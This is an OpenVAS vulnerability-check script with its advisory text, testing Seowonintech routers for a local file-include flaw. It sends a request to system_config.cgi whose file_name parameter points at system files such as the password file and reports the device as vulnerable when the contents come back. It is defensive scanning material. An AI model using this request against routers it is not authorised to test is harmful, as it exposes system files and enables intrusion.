Seowonintech Routers Local File Include Vulnerability

2013-06-24T00:00:00
ID OPENVAS:1361412562310103744
Type openvas
Reporter Copyright (C) 2013 Greenbone Networks GmbH
Modified 2020-05-08T00:00:00

Description

The remote Seowonintech Router is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
#
# Seowonintech Routers Local File Include Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (C) 2013 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103744");
  script_version("2020-05-08T08:34:44+0000");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_name("Seowonintech Routers Local File Include Vulnerability");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/seowonintech-routers-remote-root-file-dumper");
  script_tag(name:"last_modification", value:"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)");
  script_tag(name:"creation_date", value:"2013-06-24 12:38:49 +0200 (Mon, 24 Jun 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_dependencies("gb_thttpd_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("Host/runs_unixoide");
  script_mandatory_keys("thttpd/detected");

  script_tag(name:"solution", value:"Ask the vendor for an Update.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"The remote Seowonintech Router is prone to a local file-include vulnerability because it
  fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and to execute arbitrary local scripts in the context of the webserver process.
  This may allow the attacker to compromise the application and the computer. Other attacks are
  also possible.");

  script_tag(name:"affected", value:"Seowonintech Router Firmware <= 2.3.9 is vulnerable. Other versions may also be affected.");

  exit(0);
}

CPE = "cpe:/a:acme:thttpd";

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

files = traversal_files("linux");

foreach pattern(keys(files)) {

  file = files[pattern];

  url = '/cgi-bin/system_config.cgi?file_name=/' + file + '&btn_type=load&action=APPLY';

  if(http_vuln_check(port:port, url:url, pattern:pattern)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(data:report, port:port);
    exit(0);
  }
}

exit(99);